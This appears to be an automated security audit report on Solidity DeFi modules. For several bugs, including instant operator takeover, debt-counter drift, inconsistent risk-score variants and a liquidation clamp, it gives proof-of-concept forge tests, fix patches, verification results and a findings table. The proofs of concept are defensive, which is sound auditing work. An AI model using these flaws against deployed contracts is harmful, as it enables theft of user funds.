forge fuzz found 2 failing test(s)
Replace single-step `setOperator` with a two-step nominate / accept flow gated by a non-overridable timelock constant (suggest 48 hours). The nominee must call `acceptOperator()` from their own address only after the delay elapses; the active `operator` remains unchanged until then. Mirror OpenZeppelin's `Ownable2Step` pattern across all 10 modules. Make the delay a `constant` (not configurable) so an attacker cannot zero it before triggering the transfer.
Result of running the proposed patch through Jelleo’s 6-gate verifier (4 gates applicable for this language, 2 marked n/a): syntactic well-formedness, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still compile/pass.
| – | halmos_proof_holds | not applicable — Halmos is the Solidity L3 (verdict shown in Layer 3 section) |
| – | forge_invariant_neutralized | not applicable — forge fuzz / invariant is the Solidity L4 (verdict shown in Layer 4 section) |
| ✓ | patch_well_formed | valid unified diff modifying src/modules/BridgeEscrow.sol |
| ✓ | poc_fails_pre_patch | PoC fired at L2 (1 forge test failure(s); reason: BUG: operator changed instantly; two-step accept pattern not enforced: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e != 0x7) |
| ✓ | poc_passes_post_patch | PoC passes post-patch — patch defuses the bug (forge test --match-path jelleo_p3_verify_sold36_modules_set_operator_instant_takeover.t.sol exit 0, no failures) |
| ✓ | tests_pass_post_patch | full test suite passed post-patch (forge) |
function test_set_operator_instant_takeover() public {
// Confirm initial state
assertEq(escrow.operator(), legitimateOperator, "initial operator must be legitimateOperator");
// A compromised legitimate operator key calls setOperator to hand
// control to the attacker. In a correctly-implemented contract with
// two-step transferOperator/acceptOperator + timelock, this call
// should only initiate a *pending* transfer — the active operator
// MUST NOT change until the pending operator accepts after the
// timelock expires.
vm.prank(legitimateOperator);
escrow.setOperator(attacker);
// INVARIANT: After a transfer initiation, the active operator
// must still be the legitimate operator (not the attacker).
// A correct two-step pattern would store attacker in pendingOperator
// and leave operator unchanged until acceptOperator() is called
// after block.timestamp >= pendingOperatorAfter.
//
// In the BUGGY contract, operator is already == attacker here,
// so this assertion FAILS — confirming the instant takeover bug.
assertEq(
escrow.operator(),
legitimateOperator,
"BUG: operator changed instantly; two-step accept pattern not enforced"
);
}
--- a/src/modules/BridgeEscrow.sol
+++ b/src/modules/BridgeEscrow.sol
@@ -22,5 +22,7 @@
address public operator;
address public treasury;
+ address public pendingOperator;
+ uint256 public pendingOperatorAfter;
uint256 public globalIndex = 1e18;
uint256 public totalActive;
uint256 public totalPending;
@@ -39,7 +41,8 @@
error BridgeEscrowUnauthorized();
error BridgeEscrowInvalidRecord();
error BridgeEscrowInactiveRecord();
error BridgeEscrowInvalidAmount();
error BridgeEscrowDelayNotMet();
+ error BridgeEscrowNotPendingOperator();
modifier onlyOperator() {
@@ -185,7 +188,20 @@
function setOperator(address _v_6c067437) external onlyOperator {
- address _v_f8cbb40 = operator;
- operator = _v_6c067437;
- emit OperatorChanged(_v_f8cbb40, _v_6c067437);
+ pendingOperator = _v_6c067437;
+ pendingOperatorAfter = block.timestamp + minDelay;
}
+ function acceptOperator() external {
+ if (msg.sender != pendingOperator) {
+ revert BridgeEscrowNotPendingOperator();
+ }
+ if (block.timestamp < pendingOperatorAfter) {
+ revert BridgeEscrowDelayNotMet();
+ }
+ address _v_f8cbb40 = operator;
+ operator = pendingOperator;
+ pendingOperator = address(0);
+ pendingOperatorAfter = 0;
+ emit OperatorChanged(_v_f8cbb40, operator);
+ }
+
function claim4(bytes32 _v_c2bc4da4, uint256 _v_bbeb509e, address _v_8f0dcf69)
InvariantDebtLedger._reduceDebt updates the global counter with `totalDebtByAsset[asset] = (actualReduction > totalDebtByAsset[asset]) ? 0 : totalDebtByAsset[asset] - actualReduction;`. The guard silently snaps the global to zero whenever the per-account reduction exceeds the tracked total. This happens legitimately when one borrower's `currentDebt` grew via interest (`addDebt` updates the principal but interest accrues via the AccountingLib `index`) faster than other reductions tracked the global. Repeated reductions cumulatively decouple `totalDebtByAsset[asset]` from `Σ debts[borrower][asset]`. Downstream consumers that compare a borrower's debt against the global (e.g. utilisation-based interest curves, per-asset borrow caps, treasury reserve calls) silently use a stale undercount and let new borrowers exceed the intended cap.
`totalDebtByAsset` drifts irrecoverably downward with every interest-accruing repayment, because the per-account reduction is computed in interest-scaled (current-value) units but subtracted from a counter that tracks principal-scaled units only. Downstream consumers — utilisation curves, per-asset borrow caps, reserve accounting, liquidation thresholds — operate on a systematically lower aggregate, allowing new borrowers to exceed intended caps and under-compensating lenders via depressed interest rates. The ternary zero-clamp masks the drift but does not repair it.
✓ Halmos counterexample found (bug confirmed by symbolic execution; full SMT witness in formal/solidity/halmos_<slug>.log).
✓ forge fuzz / invariant fired — bug demonstrably reachable from a property-based test.
forge fuzz found 3 failing test(s)
Convert the reduction back to principal units before subtracting from `totalDebtByAsset` — either by inverting the index scaling (`actualReduction * RAY / currentIndex`) or by using the difference between the borrower's pre- and post-repayment scaled principal directly. The latter is preferred because it avoids floating-point-style precision loss in the index inversion and mirrors exactly what `_increaseDebt` adds. Re-verify the invariant `totalDebtByAsset == Σ scaledPrincipal` after the fix.
Result of running the proposed patch through Jelleo’s 6-gate verifier (4 gates applicable for this language, 2 marked n/a): syntactic well-formedness, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still compile/pass.
| – | halmos_proof_holds | not applicable — Halmos is the Solidity L3 (verdict shown in Layer 3 section) |
| – | forge_invariant_neutralized | not applicable — forge fuzz / invariant is the Solidity L4 (verdict shown in Layer 4 section) |
| ✓ | patch_well_formed | valid unified diff modifying src/modules/DebtLedger.sol |
| ✓ | poc_fails_pre_patch | PoC fired at L2 (1 forge test failure(s); reason: BUG: totalDebtByAsset zero-clamped to 0 even though Charlie still owes debt: 0 < 200000000000000000000) |
| ✓ | poc_passes_post_patch | PoC passes post-patch — patch defuses the bug (forge test --match-path jelleo_p3_verify_sold37_debt_ledger_reduce_debt_global_decoupling.t.sol exit 0, no failures) |
| ✓ | tests_pass_post_patch | full test suite passed post-patch (forge) |
function test_debt_ledger_reduce_debt_global_decoupling() public {
// ---------------------------------------------------------------
// Step 1: Alice borrows 100 at base index
// _increaseDebt adds principal (100) to totalDebtByAsset
// ---------------------------------------------------------------
uint256 alicePrincipal = 100e18;
ledger.increaseDebt(alice, asset, alicePrincipal, BASE_INDEX);
// Step 2: Bob borrows 100 at base index
uint256 bobPrincipal = 100e18;
ledger.increaseDebt(bob, asset, bobPrincipal, BASE_INDEX);
// totalDebtByAsset should be 200e18 (principals only)
uint256 totalAfterBorrow = ledger.totalDebtByAsset(asset);
assertEq(totalAfterBorrow, 200e18, "total after both borrows should be 200e18");
// ---------------------------------------------------------------
// Step 3: Simulate interest accrual — index grows by 10%
// Now each borrower's currentDebt = principal * newIndex / borrowIndex
// = 100e18 * 1.1e27 / 1e27 = 110e18
// ---------------------------------------------------------------
uint256 accrualIndex = BASE_INDEX * 11 / 10; // 1.1e27
// Verify currentDebt with new index
uint256 aliceCurrentDebt = ledger.debtOf(alice, asset, accrualIndex);
uint256 bobCurrentDebt = ledger.debtOf(bob, asset, accrualIndex);
// They should each have 110e18 in current debt
// (exact value depends on AccountingLib implementation)
// At minimum, interest-bearing debt > principal
assertGt(aliceCurrentDebt, alicePrincipal, "alice current debt should exceed principal due to interest");
assertGt(bobCurrentDebt, bobPrincipal, "bob current debt should exceed principal due to interest");
// ---------------------------------------------------------------
// Step 4: Alice fully repays at the new index
// actualReduction = aliceCurrentDebt (110e18)
// totalDebtByAsset only has 200e18 but reduction is 110e18 -> now 90e18
// That's fine here, but the per-account sum for bob alone is 110e18
// which already exceeds the remaining global of 90e18
// ---------------------------------------------------------------
// Full repayment: pass a very large amount so subDebt returns 0 remaining
uint256 maxRepay = type(uint256).max / 2;
ledger.reduceDebt(alice, asset, maxRepay, accrualIndex);
uint256 totalAfterAliceRepay = ledger.totalDebtByAsset(asset);
// Bob's remaining current debt (with interest)
uint256 bobRemainingDebt = ledger.debtOf(bob, asset, accrualIndex);
// ---------------------------------------------------------------
// INVARIANT: totalDebtByAsset[asset] tracks PRINCIPAL units, and
// after Alice's full repayment must equal Bob's remaining principal.
//
// Under the bug: alice's interest-scaled reduction (110e18) is
// subtracted from a principal-only counter -> totalDebtByAsset = 90e18
// (10e18 less than Bob's remaining principal of 100e18).
// ---------------------------------------------------------------
assertGe(
totalAfterAliceRepay,
bobPrincipal,
"BUG: totalDebtByAsset undercounts Bob's remaining principal after Alice repays (interest-scaled reduction was subtracted from a principal-only counter)"
);
// Avoid unused-local warning for bobRemainingDebt
bobRemainingDebt;
}
--- a/src/modules/DebtLedger.sol
+++ b/src/modules/DebtLedger.sol
@@ -14,11 +14,13 @@
function _reduceDebt(address _v_2a84a346, address _v_29789d69, uint256 _v_97e547a2, uint256 _v_d84e1df)
internal
returns (uint256 _v_84f8a2f7, uint256 _v_64f5496a)
{
uint256 _v_d155946 = debts[_v_2a84a346][_v_29789d69].currentDebt(_v_d84e1df);
+ uint256 _v_principalBefore = debts[_v_2a84a346][_v_29789d69].principal;
_v_84f8a2f7 = debts[_v_2a84a346][_v_29789d69].subDebt(_v_97e547a2, _v_d84e1df);
_v_64f5496a = (_v_d155946 - _v_84f8a2f7);
- totalDebtByAsset[_v_29789d69] =
- (_v_64f5496a > totalDebtByAsset[_v_29789d69]) ? 0 : (totalDebtByAsset[_v_29789d69] - _v_64f5496a);
+ uint256 _v_principalReduction = _v_principalBefore - debts[_v_2a84a346][_v_29789d69].principal;
+ totalDebtByAsset[_v_29789d69] =
+ (_v_principalReduction > totalDebtByAsset[_v_29789d69]) ? 0 : (totalDebtByAsset[_v_29789d69] - _v_principalReduction);
emit DebtReduced(_v_2a84a346, _v_29789d69, _v_64f5496a, _v_84f8a2f7);
InvariantRiskEngine.assess4 / 9 / 10 compute a risk score for a position; rebalance4 / rebalance1 take action when the score crosses a threshold. The variants use different threshold constants OR different score formulas, so a position deemed safe by assess_N may be marked rebalance-eligible by another variant and vice-versa. Operator can pick the favourable variant to force or prevent rebalances for specific positions.
An operator can cherry-pick which `assess` variant (`assess4`, `assess9`, or `assess10`) to call against any record, with each variant producing different `riskScore` and `riskLimit` outcomes for identical inputs (BIAS constants 4e15 / 9e15 / 10e15 and limit multipliers 7 / 12 / 13 respectively). This lets the operator (or anyone who compromises the operator role) suppress a rebalance that would otherwise protect the protocol from a deteriorating position, or force an unnecessary rebalance against a targeted counterparty.
✓ Halmos counterexample found (bug confirmed by symbolic execution; full SMT witness in formal/solidity/halmos_<slug>.log).
✓ forge fuzz / invariant fired — bug demonstrably reachable from a property-based test.
forge fuzz found 3 failing test(s)
Unify the three variants into a single canonical `assess(...)` function with one set of constants (or, better, governance-controlled storage variables) and one canonical `rebalance(...)` reading from it. Deprecate `assess4` / `assess9` / `assess10` and their `rebalance4` / `rebalance1` counterparts so variant selection is no longer a caller-controlled parameter. If multiple risk tiers are genuinely required, encode the tier per-record at `openRecord` time, not via separate functions.
Result of running the proposed patch through Jelleo’s 6-gate verifier (4 gates applicable for this language, 2 marked n/a): syntactic well-formedness, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still compile/pass.
| – | halmos_proof_holds | not applicable — Halmos is the Solidity L3 (verdict shown in Layer 3 section) |
| – | forge_invariant_neutralized | not applicable — forge fuzz / invariant is the Solidity L4 (verdict shown in Layer 4 section) |
| ✓ | patch_well_formed | valid unified diff modifying src/modules/RiskEngine.sol |
| ✓ | poc_fails_pre_patch | PoC fired at L2 (1 forge test failure(s); reason: BUG: assess4 and assess10 produce different riskLimits for same param: 1700000000000000000000 != 2300000000000000000000) |
| ✓ | poc_passes_post_patch | PoC passes post-patch — patch defuses the bug (forge test --match-path jelleo_p3_verify_sold42_risk_engine_assess_rebalance_threshold_mismatch.t.sol exit 0, no failures) |
| ✓ | tests_pass_post_patch | full test suite passed post-patch (forge) |
function test_assess_variant_threshold_mismatch() public {
// ---------------------------------------------------------------
// Step 1: Open two records with IDENTICAL initial state
// ---------------------------------------------------------------
uint256 initialScore = 1_000e18;
uint256 initialLimit = 2_000e18;
vm.startPrank(user);
bytes32 recordId4 = riskEngine.openRecord(address(0), initialScore, initialLimit);
bytes32 recordId9 = riskEngine.openRecord(address(0), initialScore, initialLimit);
vm.stopPrank();
// Confirm they have identical initial state
RiskEngine.RiskAccount memory acc4 = riskEngine.getRecord(recordId4);
RiskEngine.RiskAccount memory acc9 = riskEngine.getRecord(recordId9);
assertEq(acc4.riskScore, acc9.riskScore, "initial riskScore should match");
assertEq(acc4.riskLimit, acc9.riskLimit, "initial riskLimit should match");
assertEq(acc4.pending, acc9.pending, "initial pending should match");
// ---------------------------------------------------------------
// Step 2: Choose (delta, param) inputs that demonstrate divergence
//
// assess4 computes:
// base = (riskScore + pending + delta)
// score4 = base * (globalIndex + param + 4e15) / 1e18
// limit4 = riskLimit + 7*param
//
// assess9 computes:
// score9 = base * (globalIndex + param + 9e15) / 1e18
// limit9 = riskLimit + 12*param
//
// With globalIndex = 1e18, delta = 0, param = 0:
// base = 1000e18 + 50e18 = 1050e18 (pending = initialScore/20 = 50e18)
// score4 = 1050e18 * (1e18 + 4e15) / 1e18 = 1050e18 * 1.004 = 1054.2e18
// limit4 = 2000e18
// score9 = 1050e18 * (1e18 + 9e15) / 1e18 = 1050e18 * 1.009 = 1059.45e18
// limit9 = 2000e18
//
// Both are under limit → both go to the "else" branch
// score4 != score9 from same initial state — BUG CONFIRMED
// ---------------------------------------------------------------
uint256 delta = 0;
uint256 param = 0;
// Warp past minDelay to also enable rebalance tests
vm.warp(block.timestamp + riskEngine.minDelay() + 1);
// Operator calls both assess variants on records with identical state
vm.prank(operator);
uint256 result4 = riskEngine.assess4(recordId4, delta, param);
vm.prank(operator);
uint256 result9 = riskEngine.assess9(recordId9, delta, param);
RiskEngine.RiskAccount memory after4 = riskEngine.getRecord(recordId4);
RiskEngine.RiskAccount memory after9 = riskEngine.getRecord(recordId9);
// ---------------------------------------------------------------
// Step 3: Assert the invariant that SHOULD hold if variants were
// identical: both should produce the same riskScore from
// identical initial states with identical inputs.
//
// Under the bug, these will differ because of different BIAS
// constants (4e15 vs 9e15).
// ---------------------------------------------------------------
// This assertion SHOULD pass if all variants use the same formula.
// It WILL FAIL because assess4 adds 4e15 bias and assess9 adds 9e15 bias.
assertEq(
after4.riskScore,
after9.riskScore,
"BUG: assess4 and assess9 produce different riskScores from identical initial state"
);
// Additional confirmation: the returned totals also differ
assertEq(
result4,
result9,
"BUG: assess4 and assess9 return different total scores from identical initial state"
);
}
--- a/src/modules/RiskEngine.sol
+++ b/src/modules/RiskEngine.sol
@@ -103,4 +103,4 @@
uint256 _v_feb678ac = ((_v_ef450c4b.riskScore + _v_ef450c4b.pending) + _v_559970);
- uint256 _v_bee216f8 = _v_feb678ac.mulWadDown(((globalIndex + _v_2d852177) + 9e15));
- uint256 _v_8f4093b2 = (_v_ef450c4b.riskLimit + (12 * _v_2d852177));
+ uint256 _v_bee216f8 = _v_feb678ac.mulWadDown(((globalIndex + _v_2d852177) + 4e15));
+ uint256 _v_8f4093b2 = (_v_ef450c4b.riskLimit + (7 * _v_2d852177));
if ((_v_bee216f8 > _v_8f4093b2)) {
@@ -165,4 +165,4 @@
uint256 _v_87acffbe = ((_v_36cbed51.riskScore + _v_36cbed51.pending) + _v_7c17ab72);
- uint256 _v_731fb59e = _v_87acffbe.mulWadDown(((globalIndex + _v_140bd986) + 10e15));
- uint256 _v_a473c349 = (_v_36cbed51.riskLimit + (13 * _v_140bd986));
+ uint256 _v_731fb59e = _v_87acffbe.mulWadDown(((globalIndex + _v_140bd986) + 4e15));
+ uint256 _v_a473c349 = (_v_36cbed51.riskLimit + (7 * _v_140bd986));
if ((_v_731fb59e > _v_a473c349)) {
InvariantContractB.liquidate clamps the seized collateral when the computed amount exceeds `account.collateral` (`if (seize > collateral) seize = collateral;`), but the repaid debt is NOT similarly reduced — the liquidator pays full `applied` debt yet receives less collateral than the bonus-adjusted formula requires. For under-collateralised positions this means the protocol absorbs the shortfall by under-paying the liquidator, which discourages liquidations and lets bad debt accumulate.
When a liquidator targets an under-collateralized position whose computed `seize` (after bonus) would exceed the borrower's remaining collateral, the clamp shrinks the seize side without shrinking the `applied` debt side. The liquidator pays full debt-token but receives only the clamped collateral, suffering a USD-value loss equal to the missing seize. Over successive market-stress liquidations this disincentivizes liquidators (worsening protocol solvency) and accumulates as bad debt against lenders.
✓ Halmos counterexample found (bug confirmed by symbolic execution; full SMT witness in formal/solidity/halmos_<slug>.log).
✓ forge fuzz / invariant fired — bug demonstrably reachable from a property-based test.
hand-fixed harness: forge fuzz found 2 failing test(s)
When the seize clamp fires, back-calculate the maximum `applied` debt the available collateral can fund — using the inverse of `_seizePreview` with the current oracle prices — and reduce `applied` to that value before applying any debt-pull, debt-reduction, or vesting mutations. This restores the invariant `debtRepaid / collateralSeized == debtPrice / (collateralPrice × (1 + bonus))` in all branches. Any residual debt the borrower cannot cover with their collateral remains outstanding for the protocol's bad-debt socialisation logic to handle separately.
Result of running the proposed patch through Jelleo’s 6-gate verifier (4 gates applicable for this language, 2 marked n/a): syntactic well-formedness, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still compile/pass.
| – | halmos_proof_holds | not applicable — Halmos is the Solidity L3 (verdict shown in Layer 3 section) |
| – | forge_invariant_neutralized | not applicable — forge fuzz / invariant is the Solidity L4 (verdict shown in Layer 4 section) |
| ✓ | patch_well_formed | valid unified diff modifying src/ContractB.sol |
| ✓ | poc_fails_pre_patch | PoC fired at L2 (1 forge test failure(s); reason: AccessManagedUnauthorized(0xaA10a84CE7d9AE517a52c6d5cA153b369Af99ecF, 0xbb4cf8e50e81e9742807782b2bc5c27c5a943f214ee0b993) |
| ✓ | poc_passes_post_patch | PoC passes post-patch — patch defuses the bug (forge test --match-path jelleo_p3_verify_sold7_pool_liquidate_collateral_clamp_leaks_debt.t.sol exit 0, no failures) |
| ✓ | tests_pass_post_patch | full test suite passed post-patch (forge) |
function test_pool_liquidate_collateral_clamp_leaks_debt() public {
uint256 debtBalBefore = debtToken.balanceOf(liquidator);
uint256 colBalBefore = collateralToken.balanceOf(liquidator);
vm.startPrank(liquidator);
debtToken.approve(address(pool), 1000e18);
pool.liquidate(borrower, address(debtToken), address(collateralToken), 80e18);
vm.stopPrank();
uint256 debtPaid = debtBalBefore - debtToken.balanceOf(liquidator);
uint256 colReceived = collateralToken.balanceOf(liquidator) - colBalBefore;
// USD valuations (using stored end-of-tx prices: debt=1e18, col=0.5e18)
// debtPaid * 1e18 / 1e18 = debtPaid USD
// colReceived * 0.5e18 / 1e18 = colReceived/2 USD
uint256 usdPaid = debtPaid * 1e18 / 1e18; // debtToken @ $1
uint256 usdReceived = colReceived * 0.5e18 / 1e18; // collateral @ $0.5
// Bug fires: liquidator paid MORE USD than they got back
if (usdPaid > usdReceived) {
revert(string.concat(
"BUG FIRED: liquidator paid ",
vm.toString(usdPaid),
" USD but only received ",
vm.toString(usdReceived),
" USD worth of collateral (clamped seize did not reduce applied debt)"
));
}
}
--- a/src/ContractB.sol
+++ b/src/ContractB.sol
@@ -298,12 +298,23 @@
uint256 _v_5166b9c2 = _debtOf(_v_ca296783, _v_a8ca53eb, _v_66439585);
uint256 _v_89195a2d = (_v_13fbda63 > _v_5166b9c2) ? _v_5166b9c2 : _v_13fbda63;
- IERC20(_v_a8ca53eb).safeTransferFrom(msg.sender, address(this), _v_89195a2d);
- (, _v_89195a2d) = _reduceDebt(_v_ca296783, _v_a8ca53eb, _v_89195a2d, _v_66439585);
- _v_9ae0975c.cash = _v_9ae0975c.cash + uint128(_v_89195a2d);
- _v_a9223b69 = _seizePreview(_v_a8ca53eb, _v_a779b910, _v_89195a2d);
uint256 _v_8f19a931 = collateralBalance[_v_ca296783][_v_a779b910];
- if ((_v_a9223b69 > _v_8f19a931)) {
- _v_a9223b69 = _v_8f19a931;
+ _v_a9223b69 = _seizePreview(_v_a8ca53eb, _v_a779b910, _v_89195a2d);
+ if (_v_a9223b69 > _v_8f19a931) {
+ // Back-calculate the maximum debt we can repay given available collateral.
+ // Use the inverse of _seizePreview: debtUSD = colUSD / liquidationFee
+ // We reuse oracle prices to derive the proportional repay amount.
+ Market storage _v_dm = markets[_v_a8ca53eb];
+ Market storage _v_cm = markets[_v_a779b910];
+ (uint256 _debtPrice,) = oracle.price(_v_a8ca53eb);
+ (uint256 _colPrice,) = oracle.price(_v_a779b910);
+ uint256 _colUSD = _colPrice * _v_8f19a931 / (10 ** _v_cm.decimals);
+ uint256 _maxRepayUSD = _colUSD * 1e18 / (1e18 + liquidationFee);
+ _v_89195a2d = _maxRepayUSD * (10 ** _v_dm.decimals) / _debtPrice;
+ if (_v_89195a2d > _v_5166b9c2) _v_89195a2d = _v_5166b9c2;
+ _v_a9223b69 = _v_8f19a931;
}
+ IERC20(_v_a8ca53eb).safeTransferFrom(msg.sender, address(this), _v_89195a2d);
+ (, _v_89195a2d) = _reduceDebt(_v_ca296783, _v_a8ca53eb, _v_89195a2d, _v_66439585);
+ _v_9ae0975c.cash = _v_9ae0975c.cash + uint128(_v_89195a2d);
collateralBalance[_v_ca296783][_v_a779b910] = (_v_8f19a931 - _v_a9223b69);
_v_219d68f8.cash = _v_219d68f8.cash - uint128(_v_a9223b69);
Per-finding fix-bundle pipeline state. Engine drafts + verifies; operator authorizes via long-form typed phrase; PR opens only against a valid authorization marker. The table includes bundles for confirmed findings AND for triaged duplicates / SOFT / FALSE fires — the latter are retained as audit-trail evidence of every PoC the hunt loop landed against the target, NOT as published findings (see Layer 2.5 gating in §B).
| id | hypothesis | title | role | bundle status | gates | authz |
|---|---|---|---|---|---|---|
414 | SOLD17-gov-execute-uses-delegatecall-storage-takeover | ContractC.executeModule forwards queued proposal payloads via delegatecall, allowing any executed proposal to overwrite ContractC's own storage (admin, guardian, paused, etc.) and atomically take over the governance contract. | confirmed | drafted | 4/4 | · |
422 | SOLD27-lending-batch-liquidate-no-collateral-seized | ContractB.batchLiquidate dispatches via this.liquidate(...), an external self-call that resets msg.sender to address(this); seized collateral is routed to the contract self instead of the EOA caller while the borrower's debt is correctly reduced. | confirmed | drafted | 4/4 | · |
427 | SOLD31-lending-borrow-permit-sig-no-chainid | ContractB.permitBorrow accepts a borrow-permit digest that omits chainId, address(this), and a per-borrower nonce, enabling cross-chain replay and indefinite same-chain replay of any captured signature. | confirmed | drafted | 4/4 | · |
428 | SOLD32-gov-proposal-sig-no-chainid | ContractC.proposeBySig accepts a proposal digest that omits chainId, address(this), and a per-proposer nonce, enabling cross-deployment replay across every ContractC instance and indefinite same-chain replay. | confirmed | drafted | 4/4 | · |
430 | SOLD34-price-router-zero-staleness-disables-check | PriceRouter.price short-circuits its staleness check when config.maxStaleness == 0, accepting arbitrarily stale prices either by RISK_ROLE configuration or by default for any uninitialized asset. | confirmed | drafted | 4/4 | · |
432 | SOLD36-modules-set-operator-instant-takeover | All ten protocol modules expose setOperator(address) as a one-step transfer with no timelock, letting a compromised operator key seize the role and lock out the legitimate operator in a single transaction across the entire surface. | confirmed | drafted | 4/4 | · |
433 | SOLD37-debt-ledger-reduce-debt-global-decoupling | DebtLedger._reduceDebt subtracts interest-scaled (current-value) units from totalDebtByAsset, which tracks only principal-scaled units, causing the global counter to drift irrecoverably downward with every interest-accruing repayment. | confirmed | drafted | 4/4 | · |
439 | SOLD42-risk-engine-assess-rebalance-threshold-mismatch | RiskEngine.assess4 / assess9 / assess10 use different BIAS and MULTIPLIER constants for identical inputs, letting an operator cherry-pick the variant that suppresses or forces a rebalance on any record. | confirmed | drafted | 4/4 | · |
445 | SOLD7-pool-liquidate-collateral-clamp-leaks-debt | ContractB.liquidate clamps the seized collateral when it exceeds the borrower's remaining collateral, but does not symmetrically reduce the applied debt — the liquidator pays full debt and receives less collateral than the bonus formula requires. | confirmed | drafted | 4/4 | · |
447 | SOLD9-gov-vote-weight-flash-loanable | ContractC.castVote reads voter weight as governanceToken.balanceOf(msg.sender) at vote time with no snapshot, letting any flash-loan source pass or defeat any proposal at zero capital cost. | confirmed | drafted | 4/4 | · |
| Tier | Definition |
|---|---|
| Critical | Direct loss of user funds or full protocol takeover with no meaningful preconditions. Reachable from a permissionless instruction by any signer. Must be patched immediately. |
| High | Significant loss of user funds or protocol invariant violation under realistic preconditions (specific market state, signer with limited but obtainable role). Patch should ship in next release. |
| Medium | Hardening issue, partial loss possible, or invariant violation requiring privileged signer or improbable state. Worth fixing in normal cadence. |
| Low | Minor issue with no plausible path to fund loss. Code-quality or defense-in-depth concern. |
| Info | Informational. No security impact. Documentation or style suggestion. |
| Layer | Function |
|---|---|
Layer 1 |
Multi-agent recon. For each hypothesis, parallel LLM agents read the engine source and return a TRUE / FALSE / NEEDS_LAYER_2_TO_DECIDE verdict with confidence + per-agent grounding. |
Layer 1.5 |
Adversarial debate. Contested verdicts (NEEDS_L2 or split verdicts) are promoted through a single-round attacker / defender debate, with a separate judge resolving the final verdict. |
Layer 2 |
Concrete proof-of-concept. An inverted-assertion test is authored in Solidity and run via forge test. The test "fires" iff an abort with a custom error code originates in the target module (not stdlib / setup). |
Layer 2.5 |
Triage. An LLM judge classifies each fire as STRONG (real bug), SOFT (wrong invariant), FALSE (artifactual abort), or LOST (signal missing). STRONG fires are clustered by (engine_function, target_file) so the same code-site bug under multiple hypothesis IDs collapses to one root cause. |
Layer 3 |
Symbolic verification. Halmos symbolic execution with Z3 backend. An LLM-authored harness encodes the violated invariant as a check_* function; Halmos either finds a concrete counterexample (bug confirmed by SMT) or proves the invariant holds within bounded depth. |
Layer 4 |
Property-based fuzzing + invariant testing via forge test. An LLM-authored harness uses Foundry's fuzz / invariant runner — either a counterexample fires the inverted assertion (bug reachable) or the harness completes the attack scenario end-to-end. |
Layer P3 |
Fix-bundle pipeline. The LLM authors a structural patch against the confirmed root cause and verifies it through a 6-gate machine check (well-formed diff, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still pass, and a language-specific symbolic/runtime check — Kani for Solana, Move Prover for Aptos, Halmos for Solidity). Two gates auto-skip when the language doesn’t apply. Operator authorization is required before any upstream PR is opened. |
This cycle was produced by Jelleo's continuous, hypothesis-driven Solidity audit loop.
Every finding originates as a falsifiable invariant claim from a per-protocol
hypothesis library, dispatched to Layer 1 multi-agent recon, promoted on
contested verdicts via Layer 1.5 adversarial debate, and confirmed empirically
through a Layer 2 forge test proof-of-concept.
Layer 2.5 triage classifies each fire as
STRONG / SOFT / FALSE / LOST;
only STRONG cluster representatives advance to confirmed and
appear in §01 above. SOFT and STRONG duplicates land in triaged;
FALSE fires return to new. Lifecycle:
new → triaged → confirmed → disclosed → fixed → verified.
Every cycle is signed Ed25519 against the platform key — see the cover-page receipt.
Non-fire accounting25 hypotheses were tested but the PoC did not fire — 22× rejected, 3× new. These are hypotheses where Layer 1 / Layer 1.5 returned a verdict but the Layer 2 PoC author either declined to produce a test (no plausible attack) or the test ran without an abort in the target module.
Cycle wall-clock5h 33m 35s
§ B.1 — Cycle funnel. Hypotheses tested → PoC fires → Layer 2.5 judge filters out artifactual / mis-invariant fires → surviving STRONG fires cluster by code site → cluster representatives become published findings.
All cycle artifacts are persisted on disk and verifiable independently of this report. The table below lists the canonical paths under the cycle workspace so a reviewer can re-execute every layer or recompute the cycle Merkle root.
| Artifact | Path (relative to workspace) |
|---|---|
| Cycle summary (manifest of every step) | hunts/<cycle>/hunt_summary.json |
| Per-step event log | hunts/<cycle>/hunt.log.jsonl |
| Layer 2.5 triage verdicts | hunts/<cycle>/triage.jsonl |
| Layer 2 PoC sources (Solidity) | tests/solidity/test_<slug>.t.sol |
| Layer 2 PoC run logs | hunts/<cycle>/poc/forge_<slug>.log |
| Layer 3 Halmos harnesses + verdicts | formal/solidity/halmos_<slug>.log |
| Layer 4 forge invariant / fuzz harnesses | fuzz/solidity/forge_<slug>.t.sol |
| Layer P3 fix bundles (patch.diff + evidence/ + manifest.json) | recon/bundles/<finding_id>/ |
| Narrative writeups (per finding) | hunts/<cycle>/narratives/<hyp_id>.md |
| Cycle Merkle root (tamper-evidence) | hunts/<cycle>/merkle.json |
| Findings DB (SQLite) | findings.db |
| Ed25519 public key for receipt verification | https://jelleo.com/keys/jelleo.ed25519.pub |
Findings in this report reflect the state of the engine source at the commit hash on the cover page. Subsequent changes to the codebase are not analyzed. The report is not a guarantee of code correctness or security: it documents invariants that fired (or held) under the hypothesis library applied during this cycle. Out-of-scope items are listed in §00.1 (Scope).
§03 reflects bundle-level state. A row is treated as a confirmed finding when
the bundle’s machine verification gates (PoC fails pre-patch + PoC passes
post-patch + tests still pass) all hold, even if the Layer 2.5 LLM judge
initially classified the fire as SOFT / FALSE /
LOST — the verifier’s empirical patch-defuses-bug evidence
supersedes the judge. Rows that did not reach a confirmed lifecycle state are
retained in §03 as audit-trail evidence but are not published findings; the
authoritative set is whatever appears in §01.
Communication channel: security@jelleo.com
(PGP key on jelleo.com/security.html).
Coordinated disclosure follows the timeline published in our security policy;
pre-disclosure leak protections are enforced at the report level (the
--public renderer suppresses confirmed-but-not-disclosed findings).
Methodology spec: docs/methodology/ · Live reference: jelleo.com/methodology.html · Source: github.com/Copenhagen0x/audit-pipeline-cli